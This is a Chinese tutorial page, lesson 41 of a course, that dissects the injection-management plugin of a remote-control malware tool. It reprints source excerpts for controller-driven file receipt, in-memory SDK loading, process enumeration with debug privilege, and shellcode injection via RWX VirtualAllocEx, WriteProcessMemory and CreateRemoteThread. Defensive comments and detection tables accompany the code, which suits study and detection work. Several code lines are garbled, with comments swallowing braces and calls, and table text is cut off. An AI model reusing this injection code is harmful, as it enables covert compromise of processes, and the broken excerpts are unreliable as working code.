41 / 52 音视频、代理与系统扩展

第 41 课:主插件:注入管理

# 第 41 课:主插件:注入管理

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课围绕 主插件\注入管理 展开。这个模块不是普通的业务功能,它集中出现了跨进程句柄、远程内存写入、远程线程、APC、NtCreateThreadExPAGE_EXECUTE_READWRITE 等高风险行为。对企业安全工程来说,本课的重点不是复现这些能力,而是看懂源码中哪些行为会触发风险、如何把单点 API 事件串成可靠告警、如何在源码防御评估和主机防护中提前拦截。 第 41 课:主插件:注入管理(配图)

# 1. 本课学习路线

先从新手角度理解“注入管理”在整体工程中的角色:控制端下发命令,被控端插件接收命令,CInjectManager 决定是走 DLL 路径还是代码块路径。然后再看源码中真正能暴露风险的三类迹象:目标进程句柄、远程内存、远程执行入口。最后再把这些迹象变成企业检测规则。 本课不会给出可直接复用的注入操作流程,也不会补充绕过、免杀、稳定执行之类内容。所有源码节选都只用于防御理解。

# 2. 源码目录和文件

位置 作用 阅读重点
主插件\注入管理\注入管理\注入管理.cpp 插件入口,建立连接并创建管理对象 入口线程、连接参数、生命周期
主插件\注入管理\注入管理\InjectManager.h 注入管理类声明 注入模式枚举、文件接收状态、关键函数
主插件\注入管理\注入管理\InjectManager.cpp 主要实现 命令分发、进程列表、DLL/代码块路径
主插件\注入管理\注入管理\MemoryModule.* 内存加载 PE 辅助 内嵌第三方库加载迹象
主插件\注入管理\注入管理\yapi.hpp x86 调用 x64 API 的辅助 WoW64 场景下 64 位远程 API 调用痕迹

依赖说明: 本课除 Windows 进程、内存和线程 API 外,还涉及 MemoryModuleyapi.hppMemoryModule 的用途是让 PE/DLL 类数据不按普通文件加载路径进入进程,检测时要关注内存模块和导出函数解析;yapi.hpp 用于 WoW64 场景下的跨位数调用辅助,容易让只按当前进程位数判断的规则漏报。相关变量和分支已放进后续源码注释中解释。

# 3. 先把功能边界看清楚。

3. 先把功能边界看清楚。(配图)

CInjectManager 不是只做“注入”这一件事。它的功能链更长:上线后先枚举进程,把进程列表发给主控;主控选择目标和模式后,插件可能接收一个文件,可能把 BoxedApp SDK 相关数据写入或映射到虚拟文件系统,也可能直接读取代码块文件,再进入 DLL 路径或代码块路径

能力 对应源码位置 新手应该怎么理解
进程枚举 InjectManager.cpp 约 405,getProcessList 给主控端提供可选目标列表
文件接收 CreateLocalRecvFileWriteLocalRecvFileWriteOk 把网络传来的数据变成后续可用的本地或虚拟文件
BoxedApp SDK 初始化 构造函数约 47-78 第三方库,用来支持虚拟文件和对子进程SDK 嵌入
DLL 路径 Inject_dll 728 DLL 为载荷形态,重点看文件、模块加载和远程执行
代码块路径 Inject_shellcode 938 以原始代码块为载荷形态,重点看可执行私有内存
跨位数辅助 yapi.hpp 调用 WoW64 场景下辅助 32 位进程调用 64 位远程 API

图里每一个节点都能落到具体代码。后面源码节选会把变量含义、执行顺序和防御风险写在代码注释里,不再额外抽成清单。

# 4. 先看模块角色

构造函数里有两个值得新手先理解的动作:第一,它会枚举进程并把列表发回控制端;第二,它根据当前进程位数决定后续走普通 API 还是 yapi 辅助调用。防御侧看到的不是“一个 API”,而是一条链:进程枚举、目标选择、文件传输、远程内存、远程执行。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约20-40 CInjectManager::CInjectManager(ISocketBase* pClient) : CManager(pClient)
{
    Flags = THREAD_CREATE_FLAGS_CREATE_SUSPENDED |
            THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH |
            THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER;

    // 防御分析:线程创建标志包含隐藏调试器语义,属于高风险实现信号
    // 源码评估时不需要单独列审查点,直接在这里标注原因:
    // 进程枚举、目标选择和后续远程执行常会围绕这类初始化状态展开。
    LPBYTE lpBuffer = getProcessList();

    // 防御分析:启动即枚举进程,后续发送给控制端,主机侧可关注短时
    // 大量进程枚举、路径查询和模块列表读取
    lpBuffer[0] = TOKEN_INJECT;

    // 防御分析:TOKEN_INJECT 表示注入模块上线,是协议层识别功能的线索
    if ((sizeof(int*) * 8) > 32) {
        // 防御分析:指针宽度判断用于区分 x86/x64,WoW64 场景下需要关注
        // 跨位数目标选择、yapi 辅助调用 64 位远程 API 痕迹
        lpBuffer[1] = 1;
        ClientIsx86 = FALSE;
    } else {
        lpBuffer[1] = 0;
        ClientIsx86 = TRUE;
    }

    Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

构造函数后半段开始加载 BoxedApp SDK。这里要特别说明第三方库用途:BoxedApp SDK 的目标是把文件系统相关依赖虚拟化,让后续“远程文件”和 SDK DLL 可以不完全按普通落地文件路径处理。源码又把 MemoryModule SDK 字节数组映射成可调用模块,所以检测时既要看普通文件,也要看内存模块和导出函数解析。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约47-78 // 防御分析注释// 1. bxsdk32MyFileBuf / bxsdk64MyFileBuf 是内置的 BoxedApp SDK 数据
// 2. MemoryLoadLibrary 来自 MemoryModule,用于从内存加载这个 SDK,而不是走普通 LoadLibrary 文件路径// 3. MemoryGetProcAddress 动态解析 BoxedAppSDK_* 导出函数,静态导入表里未必能直接看到这些 API// 4. SetBxSdkRawData、EmulateBoxedAppSDKDLL、CreateVirtualFileW 后续会影响文件接收和虚拟文件行为
#ifdef _WIN64
    bxsdkbyte = new BYTE[bxsdk64MyFileSize];
    memcpy(bxsdkbyte, bxsdk64MyFileBuf, bxsdk64MyFileSize);
    handle = ::MemoryLoadLibrary(bxsdkbyte, bxsdk64MyFileSize);
#else
    bxsdkbyte = new BYTE[bxsdk32MyFileSize];
    memcpy(bxsdkbyte, bxsdk32MyFileBuf, bxsdk32MyFileSize);
    handle = ::MemoryLoadLibrary(bxsdkbyte, bxsdk32MyFileSize);
#endif

    if (handle != NULL)
    {
        MyBoxedAppSDK_SetContext =
            (fuBoxedAppSDK_SetContext)MemoryGetProcAddress(handle, "BoxedAppSDK_SetContext");
        MyBoxedAppSDK_Init =
            (fuBoxedAppSDK_Init)MemoryGetProcAddress(handle, "BoxedAppSDK_Init");
        MyBoxedAppSDK_CreateVirtualFileW =
            (fuBoxedAppSDK_CreateVirtualFileW)MemoryGetProcAddress(handle, "BoxedAppSDK_CreateVirtualFileW");
        MyBoxedAppSDK_EmulateBoxedAppSDKDLL =
            (fuBoxedAppSDK_EmulateBoxedAppSDKDLL)MemoryGetProcAddress(handle, "BoxedAppSDK_EmulateBoxedAppSDKDLL");

        (*MyBoxedAppSDK_SetContext)(INITCODE);
        BoxedAppSDK_Init_IsOK = (*MyBoxedAppSDK_Init)();

        // 防御分析:初始化成功后,后续 COMMAND_INJECT_FILE_* 才能写入虚拟文件
        // 对企业检测来说,“内存加SDK + 虚拟文件 + 远程执行”应作为组合风险看待
        (*MyBoxedAppSDK_EmulateBoxedAppSDKDLL)();
        (*MyBoxedAppSDK_EnableOption)(
            DEF_BOXEDAPPSDK_OPTION__EMBED_BOXEDAPP_IN_CHILD_PROCESSES, TRUE);
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

getProcessList 是触发注入前的目标发现阶段。它不会直接写内存,但它会打开大量进程、读取路径、收集用户和窗口信息。很多企业告警只盯最后的注入 API,容易错过这个前置信号。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约405-475 // 防御分析注释// 1. DebugPrivilege(SE_DEBUG_NAME, TRUE) 表示模块尝试启用调试权限,便于读取更多进程信息// 2. CreateToolhelp32Snapshot 枚举系统进程,EnumWindows 补充窗口标题映射// 3. OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) 用于读取目标进程路径和模块信息// 4. 输出缓冲区会发回主控端,主控端据此选择目标 PID 和注入模式LPBYTE CInjectManager::getProcessList()
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    DebugPrivilege(SE_DEBUG_NAME, TRUE);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return NULL;

    LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
    lpBuffer[0] = TOKEN_INJECT_PROCESS;

    EnumWindows(lpEnumFunc, NULL);

    if (Process32First(hSnapshot, &pe32))
    {
        do
        {
            HANDLE hProcess = OpenProcess(
                PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
                FALSE,
                pe32.th32ProcessID);

            // 防御分析:这里会继续读取镜像路径、用户名、内存信息和窗口标题            // 这些行为本身未必恶意,但与后续注入模式命令连续出现时,风险显著升高        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return lpBuffer;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 5. 注入模式如何分类

5. 注入模式如何分类(配图)

源码把模式分成两条主线:一条是 DLL,一条是代码块。每条线又分为 CreateRemoteThreadQueueUserAPCNtCreateThreadEx。企业检测时不要只盯某一个 API,因为实现可能在不同模式之间切换。

// 源码位置:主插件\注入管理\注入管理\InjectManager.h,约24-32 // 防御分析:这个枚举不是普通状态值,而是把“载荷形态”和“执行方式”组合在一起// 变量 einjectmode 后续会直接决定进DLL 路径还是代码块路径,
// 也会决定检测侧应关LoadLibrary、APC、NtCreateThreadEx 还是 RWX 私有页enum injectmode
{
    MODE_CreateRemoteThread_dll,
    MODE_CreateRemoteThread_shellcode,
    MODE_QueueUserAPC_dll,
    MODE_QueueUserAPC_shellcode,
    MODE_NtCreateThreadEx_dll,
    MODE_NtCreateThreadEx_shellcode,
};
1
2
3
4
5
6
7
8
9
10

这段枚举对新手很有帮助,因为它把风险拆得非常清楚

维度 DLL 路径 代码块路径
载荷形态 DLL 文件或虚拟文本 原始代码块
常见迹象 LoadLibrary、模块加载异常 私有可执行页、入口不属于正常模块
文件痕迹 可能有临时 DLL 可能无明显落地文件
内存风险 参数和辅助代码写入远程进程 RWX 内存风险更突出

# 6. 命令分发:控制消息如何进入高危分支。

OnReceive 是本模块最关键的入口。它接收协议命令后,会创建本地接收文件、写入数据、设置 DLL 路径,最后根据注入模式调用 Inject_dll()Inject_shellcode()6. 命令分发:控制消息如何进入高危分支。(配图)

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约115-165
// 防御分析:OnReceive 是网络命令进入本地高风险 API 的入口
// lpBuffer[0] 是命令字,nSize 是网络包长度;读取 lpBuffer + 1 前应先做长度校验
// 本课只说明触发链路:枚举进程 -> 接收文件 -> 设置 SDK 路径 -> 选择模式 -> 进入对应分支
void CInjectManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;

    switch (lpBuffer[0])
    {
    case COMMAND_INJECT_PROCESS:
        // 防御分析:主控刷新目标列表时触发,底层会再次调用 getProcessList        // 这类行为通常伴随进程快照、路径查询、用户名查询和窗口标题收集        SendProcessList();
        break;

    case COMMAND_INJECT_FILE_INFO:
        // 防御分析:网络包中的文件元信息会影响本地落点和后DLL 路径        CreateLocalRecvFile(lpBuffer + 1);
        break;

    case COMMAND_INJECT_FILE_DATA:
        // 防御分析:网络数据被写入本地文件,是“远程控制命令-> 本地文件痕迹”的关键边界        WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
        break;

    case COMMAND_INJECT_FILE_SENDOK:
        // 防御分析:文件分片收完后,WriteOk 会把 RecvDate 写入 BoxedApp 虚拟文件
        // 如果只监控普通磁盘文件,可能看不到完整文件落地链路        WriteOk();
        break;

    case COMMAND_INJECT_SETDLL:
        // 防御分析:把 BoxedApp SDK 32/64 位辅助数据写ProgramData 一类位置并设置路径        // 第三方库在这里参与文件虚拟化和子进程支持,不能只当成普通依赖项看        WriteDllandSetPath(TRUE, _T("\\bxsdk32.key"));
        WriteDllandSetPath(FALSE, _T("\\bxsdk64.key"));
        break;

    case COMMAND_INJECT_MODE:
        // 防御分析:m_sinjectmode 是模式选择结构,不能在未验证长度时直接 memcpy        // 结构里包含目PID、目标位数、DLL/代码块文件名、输出路径和注入模式        memcpy(&m_sinjectmode, lpBuffer + 1, sizeof(INJECTMODE));
        switch (m_sinjectmode.einjectmode)
        {
        case MODE_CreateRemoteThread_dll:
        case MODE_QueueUserAPC_dll:
        case MODE_NtCreateThreadEx_dll:
            // 防御分析:DLL 路径通常会留下文件、模块加载和远程线程/APC 组合证据            Inject_dll();
            break;

        case MODE_CreateRemoteThread_shellcode:
        case MODE_QueueUserAPC_shellcode:
        case MODE_NtCreateThreadEx_shellcode:
            // 防御分析:代码块路径更依赖内存侧检测,例如远程写入和可执行私有页            Inject_shellcode();
            break;
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

防御侧要抓的不是某一个分支,而是“网络命令到本地高危 API”的链路

阶段 可见行为 建议关联
文件信息命令 创建临时接收文件 网络会话、文件创建
文件数据命令 连续写入数据 传输大小、文件后缀、写入目标
模式命令 进入注入函数 协议 token、目标 PID、模式枚举
执行阶段 远程内存和线程事件 EDR、Sysmon、ETW 事件

# 6.1 文件接收和虚拟文件如何接上后续流。

COMMAND_INJECT_FILE_INFOCOMMAND_INJECT_FILE_DATACOMMAND_INJECT_FILE_SENDOK 三个命令是一组。第一步只接收文件名和长度,第二步按分片把数据追加到 RecvDate,第三步才把完整数据写入 BoxedApp 虚拟文件。这样设计的直接后果是:文件不一定完整落在普通磁盘路径上,内存缓冲和虚拟文件 API 也要纳入检测。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约576-615
// 防御分析注释:
// 1. m_fileinfo 来自网络包,里面包含远程文件名和总长度
// 2. RecvDate 是被控端内存缓冲区,COMMAND_INJECT_FILE_DATA 会把分片依次复制进去
// 3. MyBoxedAppSDK_CreateVirtualFileW 是 BoxedApp SDK 导出函数,最终把完整内容写入虚拟文件系统
// 4. 这里说明“注入文件”如何从网络包变成后续 Inject_dll 可读取的数据源
void CInjectManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
    if (!BoxedAppSDK_Init_IsOK)
    {
        SendError(_T("虚拟目录初始化失败,无法使用远程目录"));
        return;
    }

    memcpy(&m_fileinfo, lpBuffer, sizeof(FILEINFO));
    RecvDate = new BYTE[m_fileinfo.SendFileLength];
    offsetsize = 0;

    BYTE bToken = TOKEN_INJECT_STARTSEND;
    Send(&bToken, 1);
}

void CInjectManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
    memcpy(RecvDate + offsetsize, lpBuffer, nSize);
    offsetsize += nSize;

    BYTE bToken = TOKEN_INJECT_STARTSEND;
    Send(&bToken, 1);
}

void CInjectManager::WriteOk()
{
    DWORD dwTemp = 0;

    HANDLE VmFile = (*MyBoxedAppSDK_CreateVirtualFileW)(
        m_fileinfo.m_SendName,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    WriteFile(VmFile, RecvDate, m_fileinfo.SendFileLength, &dwTemp, NULL);
    CloseHandle(VmFile);
    SAFE_DELETE_AR(RecvDate);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

# 7. DLL 路径的防御解。

7. DLL 路径的防御解。(配图)

DLL 路径的前半段会把接收到的 DLL 数据写到本地路径。对企业来说,这意味着可以从文件创建、异DLL 路径、非标准父进程等角度建立检测。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约728-760 void CInjectManager::Inject_dll()
{
    SYSTEMTIME current_time;
    GetLocalTime(&current_time);

    wsprintf(m_sinjectmode.WritePath,
             _T("%s\\%u%u%u%u.dll"),
             m_sinjectmode.WritePath,
             current_time.wHour,
             current_time.wMinute,
             current_time.wSecond,
             current_time.wMilliseconds);

    HANDLE VmFile = CreateFile(
        m_sinjectmode.WritePath,
        GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    // 防御分析:随机时间命名的 DLL 落地到可写目录,
    // 应与随后出现的跨进程写入、远程加载事件一起关联}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

后半段会出现远程内存写入和可执行页,这些是更强的信号。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约883-906 pThreadData = VirtualAllocEx(
    hProc,
    NULL,
    4096,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);

WriteProcessMemory(hProc, pThreadData, &data, sizeof(data), NULL);

pCode = VirtualAllocEx(
    hProc,
    NULL,
    4096,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProc, pCode, (PVOID)ThreadProc, 4096, NULL);

// 防御分析:同一进程对同一目标连续出现 VirtualAllocEx// WriteProcessMemory、可执行权限内存,应视为强相关高危链?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 8. 代码块路径的内存风险

8. 代码块路径的内存风险(配图)

代码块路径比 DLL 路径更危险,因为它可能不依赖正常模块加载。防御侧常见的判断点是:目标进程出现私有可执行内存页,执行入口不属于已加载模块,写入者进程与被写入进程无正常业务关系。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约937-982 void CInjectManager::Inject_shellcode()
{
    HANDLE hProc = OpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        m_sinjectmode.dwProcessID);

    // 防御分析:PROCESS_ALL_ACCESS 是非常宽的目标进程权限,
    // 应结合发起进程、目标进程、用户上下文做风险判断。
    LPVOID RemotlpAddress = VirtualAllocEx(
        hProc,
        NULL,
        dwSize,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hProc, RemotlpAddress, lpAddress, dwSize, NULL);

    HANDLE ThreadShellCode = CreateRemoteThread(
        hProc,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)RemotlpAddress,
        NULL,
        0,
        NULL);

    // 防御分析:这里的代码节选只用于识别风险信号    // 不应把这类调用链用于未授权环境}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

这里的核心不是“调用了哪个 API”,而是三个条件同时成立

条件 为什么危 企业检测建
跨进程句 进程边界被突 记录源进程、目标进程、权限掩
远程写入 目标进程内存被改 关注 WriteProcessMemoryNtWriteVirtualMemory
可执行入口 被写入内容可能被执行 关注 RWX、远程线程、APC、入口地址归属

# 9. x86 / x64 WoW64 关注。

源码中同时支持 32 位和 64 位路径。新手容易误判的点是 32 位进程在 64 位系统上不能简单等同于“只能操32 位目标”。项目里?yapi.hpp 提供了跨位数调用辅助,所以检测时不能只按当前进程位数判断风险

场景 源码表现 检测提
64 位编译 普通 VirtualAllocExCreateRemoteThread 路径 直接监控 Win32 API NT API
32 位进程操64 位目 yapi::VirtualAllocEx64yapi::WriteProcessMemory64 WoW64 进程出现 64 位远API 调用迹象
目标位数不一 ClientIsx86、目标进程位数判 关联目标进程架构
线程创建隐藏标志 THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 源码评估和运行期行为均应标红

# 10. 企业检测点

10. 企业检测点(配图)

层面 检测点 说明
主机进程 OpenProcess(PROCESS_ALL_ACCESS) 普通业务进程通常不需要这种权
内存 PAGE_EXECUTE_READWRITE 私有 与写内存事件组合后优先级升高
线程 CreateRemoteThreadNtCreateThreadEx、APC 关注线程起始地址是否落在私有内存
文件 临时 DLL、随机命DLL、可写目DLL 与模块加载事件关
网络 控制命令后短时间出现注入行为 从协议 token 到主机事件做时间窗口关联
位数 WoW64 下的 64 位远程调 不要只看进程自身位数

# 11. 合法练习:

  1. 在实验环境中只阅读源码,画出 OnReceive -> Inject_dll / Inject_shellcode 的分支图,不运行相关功能?

  2. 基于本课表格,写一条“OpenProcess + VirtualAllocEx + WriteProcessMemory 5 分钟内同源同目标”的检测思路?

  3. 对比 DLL 路径和代码块路径,说明为什么代码块路径更依赖内存侧检测?

  4. 在不执行高危代码的前提下,说明 PAGE_EXECUTE_READWRITE 在企业源码评估中为什么应被重点标记。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>